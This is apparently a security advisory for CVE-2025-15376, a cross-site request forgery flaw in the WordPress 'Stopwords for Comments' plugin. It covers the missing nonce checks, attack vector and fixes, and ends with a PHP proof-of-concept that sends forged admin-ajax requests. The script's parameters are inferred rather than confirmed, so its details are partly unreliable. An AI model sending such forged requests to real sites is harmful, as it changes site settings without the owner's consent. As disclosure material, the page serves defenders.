Atomic Edge analysis of CVE-2025-15376 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the WordPress Stopwords for Comments plugin version 1.1 and earlier. The vulnerability exists in administrative functions that manage the plugin’s stopword list. Attackers can exploit this flaw to modify the plugin’s configuration without proper authorization.
Atomic Edge research identifies the root cause as missing nonce validation on two specific plugin functions: ‘set_stopwords_for_comments’ and ‘delete_stopwords_for_comments’. The CWE-352 classification confirms this is a classic CSRF vulnerability where state-changing operations lack anti-CSRF tokens. Since no code diff is available, this conclusion is inferred from the CVE description and CWE classification. WordPress plugins typically implement such administrative functions as AJAX handlers or form submission handlers that should verify the `_wpnonce` parameter.
Exploitation requires an attacker to craft a malicious web page or email containing forged requests. When a logged-in administrator visits this page, the attacker’s payload executes in the administrator’s context. The likely attack vector targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to either `set_stopwords_for_comments` or `delete_stopwords_for_comments`. The payload would include POST parameters containing the stopwords to add or delete. A successful attack adds or removes words from the plugin’s filtering list.
Remediation requires adding proper nonce verification to both vulnerable functions. The plugin should implement `check_ajax_referer()` or `wp_verify_nonce()` calls before processing any state-changing operations. WordPress security best practices mandate that all administrative actions include nonce validation and capability checks. The plugin should also implement proper sanitization of stopword input, though the CVE description does not indicate sanitization issues.
Successful exploitation allows unauthenticated attackers to modify the plugin’s stopword configuration. This could disrupt comment moderation by removing legitimate filtering terms or adding excessive terms that block normal comments. While the CVSS score of 4.3 indicates low impact (C:N/I:L/A:N), the vulnerability enables unauthorized configuration changes. Attackers could weaponize this to degrade site functionality or prepare for further attacks by disabling comment filtering mechanisms.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15376 - Stopwords for comments <= 1.1 - Missing Authorization to Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2025-15376
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers AJAX actions 'set_stopwords_for_comments' and 'delete_stopwords_for_comments'
* 2. These actions are accessible via /wp-admin/admin-ajax.php
* 3. No nonce validation exists (the vulnerability)
* 4. The plugin expects POST parameters containing stopword data
*
* This script demonstrates CSRF by forging a request to add a stopword.
* In a real attack, this would be embedded in a malicious webpage.
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// Simulated malicious stopword to add
$malicious_stopword = 'legitimate';
// Prepare the POST data for the set_stopwords_for_comments action
$post_data = [
'action' => 'set_stopwords_for_comments',
'stopwords' => $malicious_stopword, // Parameter name inferred from plugin functionality
// No _wpnonce parameter included - this is the vulnerability
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to simulate a legitimate browser request
$headers = [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check result
if ($http_code === 200) {
echo "CSRF attack simulated. Check if stopword '{$malicious_stopword}' was added.n";
echo "Response: " . htmlspecialchars(substr($response, 0, 200)) . "...n";
} else {
echo "Request failed with HTTP code: {$http_code}n";
}
curl_close($ch);
?>
